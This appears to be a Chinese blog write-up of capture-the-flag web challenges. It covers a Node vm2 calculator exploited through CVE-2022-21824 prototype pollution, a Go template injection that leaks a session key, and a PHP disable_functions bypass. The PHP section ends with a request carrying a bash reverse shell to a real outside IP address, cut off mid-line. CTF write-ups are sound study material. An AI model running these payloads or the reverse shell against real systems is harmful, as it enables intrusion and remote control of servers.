文章目录
GameV4.0
- GameV4.0
- newcalc0
- gocalc0
- 非预期
- 预期
- InterestingPHP
- 解法1:
- 解法2
直接base64解码
newcalc0源码
const express = require("express");
const path = require("path");
const vm2 = require("vm2");
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(express.static("static"));
const vm = new vm2.NodeVM();
app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})
app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});
app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});
app.listen(process.env.PORT || 8888);
审计代码:
满足下面代码,就可以直接得到flag
if(Object.keys(Object.prototype).length > 0)
一般来说object.prototype
都是null,length都为0
这个利用CVE-2022-21824
直接上payload
console.table([{a:1}],['__proto__'])
payload,就通过console.log
使得Object.prototype[0]变成空字符,长度不为0
然后访问/flag,就可以得到flag。
gocalc0 非预期就是抓包得cookie,然后base64解码(但是我复现的时候没成功)
预期SSTI拿到源码
{{.}}
源码
package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
//go:embed template/index.html
var tpl string
//go:embed main.go
var source string
type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "
exp
package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8088"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}
InterestingPHP
打开网页
这个跟WMCTF的那个题比较相似。
利用eval
发现phpinfo()
被禁用了。
所以我们可以利用这个姿势(长知识了)
var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());
可以发现存在disabled_function
直接尝试bybass
网上找的大佬的exp
fwrite
被禁了,改成 fputs
然后构造数据包,抓包,只需要在包后面加上
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 6927
------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"
pwn("bash -c 'exec bash -i &>/dev/tcp/42.193.170.176/10000
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?